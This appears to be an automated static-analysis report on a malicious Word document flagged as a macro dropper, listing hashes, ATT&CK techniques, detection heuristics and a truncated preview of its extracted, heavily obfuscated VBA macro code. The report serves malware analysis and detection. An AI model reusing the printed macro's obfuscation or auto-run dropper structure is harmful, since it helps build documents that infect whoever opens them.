Doc.Dropper.Agent-6335671-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 5df3016ba1cfd870…

MALICIOUS

Office (OLE)

77.0 KB Created: 2017-08-14 15:43:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: e7b2b379f6c18c23cb6e2efce2c2aa10 SHA-1: a2fb8cf5f7fffd76d9f8ae1283d403c9f5a1b9aa SHA-256: 5df3016ba1cfd870d1d72e75ab9ec1d0a08a7e11d9fe7ec6b32fa0ce468206e7
222 Risk Score

Malware Insights

Doc.Dropper.Agent-6335671-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that uses CreateObject to execute code. This is indicative of a dropper malware designed to download and execute a second-stage payload. The ClamAV detection name 'Doc.Dropper.Agent-6335671-0' further supports this assessment.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6335671-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6335671-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21365 bytes
SHA-256: 2c96d8772a634597500a3ab71afa93aa84607b3f75929121101b6b02a6e276d2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function RUARgfRUARgfRUARgfRUARgfRUARgf(ByVal bMNCCcbMNCCcbMNCCcbMNCCcbMNCCc As String, ByVal TzcpwTzcpwTzcpwTzcpwTzcpw As Variant) As Boolean
twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
For Each rRvRLrRvRLrRvRLrRvRLrRvRL In TzcpwTzcpwTzcpwTzcpwTzcpw
    If rRvRLrRvRLrRvRLrRvRLrRvRL = bMNCCcbMNCCcbMNCCcbMNCCcbMNCCc Then
        RUARgfRUARgfRUARgfRUARgfRUARgf = True
        Exit Function
    End If
    twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
Next rRvRLrRvRLrRvRLrRvRLrRvRL
twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
End Function
 Function RSgKMnRSgKMnRSgKMnRSgKMnRSgKMn(ByVal FHDuKFHDuKFHDuKFHDuKFHDuK As String, ByVal LcZHvLcZHvLcZHvLcZHvLcZHv As Variant) As Boolean
twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
For Each ndyHundyHundyHundyHundyHu In LcZHvLcZHvLcZHvLcZHvLcZHv
    If ndyHundyHundyHundyHundyHu = FHDuKFHDuKFHDuKFHDuKFHDuK Then
        RSgKMnRSgKMnRSgKMnRSgKMnRSgKMn = True
        Exit Function
    End If
    twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
Next ndyHundyHundyHundyHundyHu
twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
End Function
 Function LbExMLbExMLbExMLbExMLbExM(ByVal vpaTVUvpaTVUvpaTVUvpaTVUvpaTVU As String, ByVal hXPsEhXPsEhXPsEhXPsEhXPsE As Variant) As Boolean
twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
For Each bAEvRbAEvRbAEvRbAEvRbAEvR In hXPsEhXPsEhXPsEhXPsEhXPsE
    If bAEvRbAEvRbAEvRbAEvRbAEvR = vpaTVUvpaTVUvpaTVUvpaTVUvpaTVU Then
        LbExMLbExMLbExMLbExMLbExM = True
        Exit Function
    End If
    twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
Next bAEvRbAEvRbAEvRbAEvRbAEvR
twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
End Function
 Function CNAeUCNAeUCNAeUCNAeUCNAeU(ByVal tRrbwtRrbwtRrbwtRrbwtRrbw As String, ByVal xPnEbuxPnEbuxPnEbuxPnEbuxPnEbu As Variant) As Boolean
twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
For Each LNrtWyLNrtWyLNrtWyLNrtWyLNrtWy In xPnEbuxPnEbuxPnEbuxPnEbuxPnEbu
    If LNrtWyLNrtWyLNrtWyLNrtWyLNrtWy = tRrbwtRrbwtRrbwtRrbwtRrbw Then
        CNAeUCNAeUCNAeUCNAeUCNAeU = True
        Exit Function
    End If
    twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
Next LNrtWyLNrtWyLNrtWyLNrtWyLNrtWy
twaaRztwaaRztwaaRztwaaRztwaaRz = "GNCSefGNCSefGNCSefGNCSefGNCSef" + "YmHztYmHztYmHztYmHztYmHzt" = "vaBdhvaBdhvaBdhvaBdhvaBdh"
End Function

dHaCHkdHaCHkdHaCHkdHaCHkdHaCHk = "mkLZhmkLZhmkLZhmkLZhmkLZh" + "GeFkKGeFkKGeFkKGeFkKGeFkK" + "EZYSmEZYSmE
... (truncated)

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